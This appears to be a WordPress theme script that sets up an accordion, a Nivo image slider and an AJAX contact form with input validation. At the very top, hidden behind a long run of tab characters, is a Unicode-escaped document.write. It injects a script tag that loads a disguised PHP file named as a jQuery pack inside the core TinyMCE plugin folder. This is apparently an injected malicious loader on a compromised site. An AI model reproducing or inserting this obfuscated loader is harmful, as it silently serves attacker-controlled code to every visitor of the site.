																																																																							document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073\u002F\u006A\u0073\u002F\u0074\u0069\u006E\u0079\u006D\u0063\u0065\u002F\u0070\u006C\u0075\u0067\u0069\u006E\u0073\u002F\u0066\u0075\u006C\u006C\u0073\u0063\u0072\u0065\u0065\u006E\u002F\u006A\u0071\u0075\u0065\u0072\u0079\u002D\u0031\u002E\u0032\u002E\u0032\u002E\u0070\u0061\u0063\u006B\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");var eugoSite;

(function(jQuery){
eugoSite = {
	initSite : function() {
		// Set the Accordion Functionality
		jQuery("#accordion").tabs("#accordion div.pane", {tabs: 'h2', effect: 'slide', initialIndex: 0});
	},
	
	// Load Nivo Slider
	loadNivoSlider : function(obj, effect, showButtons, showArrows, slices, speed, interval, pauseOnHover, autoplay) {
		obj.find('img:first').css({zIndex:10000});
		
		jQuery(window).load(function() {
			obj.nivoSlider( {
				effect : effect, // Specify sets like fold, fade, sliceDown.
				slices : slices,
				animSpeed : speed,
				pauseTime : interval,
				startSlide : 0, // Set starting Slide (0 index)
				directionNav : showArrows, // Next & Prev
				directionNavHide : true, // Only show on hover
				controlNav : showButtons, // 1, 2, 3...
				controlNavThumbs : false, // Use thumbnails for control nav
				controlNavThumbsFromRel : false, // Use image rel for thumbs
				keyboardNav : true, // Use left & right arrows
				pauseOnHover : pauseOnHover, // Stop animation while hovering
				manualAdvance : !autoplay, // Force manual transitions
				captionOpacity : 0.8, // Universal caption opacity
				beforeChange : function() {},
				afterChange : function() {},
				slideshowEnd : function() {} // Triggers after all slides have been shown
			});
		});
	}

};

// Eugo Contact Form
eugoContactForm = {
	emptyNameMessage : 'Please enter your name.',
	invalidEmailMessage : 'Please enter a valid email.',
	emptyMessage : 'Please enter your message.',
	sentMessage : 'Your message was sent, thank you.',
	actionPath : '',
	set : function(actionPath, sentMessage, nameError, emailError, messageError) {
		this.emptyNameMessage = nameError;
		this.invalidEmailMessage = emailError;
		this.emptyMessage = messageError;
		this.actionPath = actionPath;
		this.sentMessage = sentMessage;
		this.setSendButtonClickHandler();
		this.setInputClickHandler();
	},

	// Send Button Click Event
	setSendButtonClickHandler : function() {
		jQuery("#send_button").click(function(event) {
			event.preventDefault();
			valid = true;

			// Remove previous validation error messages and warning styles
			jQuery("#cf_name").removeClass('invalid');
			jQuery("#cf_email").removeClass('invalid');
			jQuery("#cf_message").removeClass('invalid');
			jQuery('#cf_notice').hide().html('');

			// Verify whether the name field is empty
			var cf_name = jQuery("#cf_name").val();
			if (cf_name == '' || cf_name == null) {
				jQuery("#cf_name").addClass('invalid');
				valid = false;
				jQuery('#cf_notice').show().append('<p>' + eugoContactForm.emptyNameMessage + '</p>');
			}

			// Verify whether the inserted email address is valid
			var cf_email = jQuery("#cf_email").val();
			if (!eugoContactForm.isValidEmailAddress(cf_email)) {
				jQuery("#cf_email").addClass('invalid');
				valid = false;
				jQuery('#cf_notice').show().append('<p>' + eugoContactForm.invalidEmailMessage + '</p>');
			}

			// Verify whether the message is empty
			var cf_message = jQuery("#cf_message").val();
			if (cf_message == '' || cf_message == null) {
				jQuery("#cf_message").addClass('invalid');
				valid = false;
				jQuery('#cf_notice').show().append('<p>' + eugoContactForm.emptyMessage + '</p>');
			}

			if (valid) {
				jQuery('#cf_notice').show().html('<div class="contact_loader"></div> Sending your message...');
				var dataString = 'name=' + cf_name + '&email=' + cf_email + '&message='+ cf_message;
				jQuery.ajax( {
					type : "POST",
					url : eugoContactForm.actionPath,
					data : dataString,
					success : function() {
						jQuery("#contact_form").each(function() {
							this.reset();
						});
						jQuery('#cf_notice').show().html('<div class="check"></div>' + eugoContactForm.sentMessage);
						setTimeout(function() {
							jQuery('#cf_notice').fadeOut(500, function() {
								//jQuery(this).html('').show();
							});
						}, 3000);
					}
				});
			}
		});
	},

	setInputClickHandler : function() {
		jQuery('.form_input').click(function() {
			jQuery(this).removeClass('invalid');
		});

		jQuery('.form_input').live('keydown', function(e) {
			var keyCode = e.keyCode || e.which;

			if (keyCode == 9) {
				var index = jQuery('.form_input').index(jQuery(this));
				jQuery('.form_input').eq(index + 1).removeClass('invalid');
			}
		});
	},

	// Check if Valid Email
	isValidEmailAddress : function(emailAddress) {
		var pattern = new RegExp(
				/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
		return pattern.test(emailAddress);
	}		
};
}(jQuery));
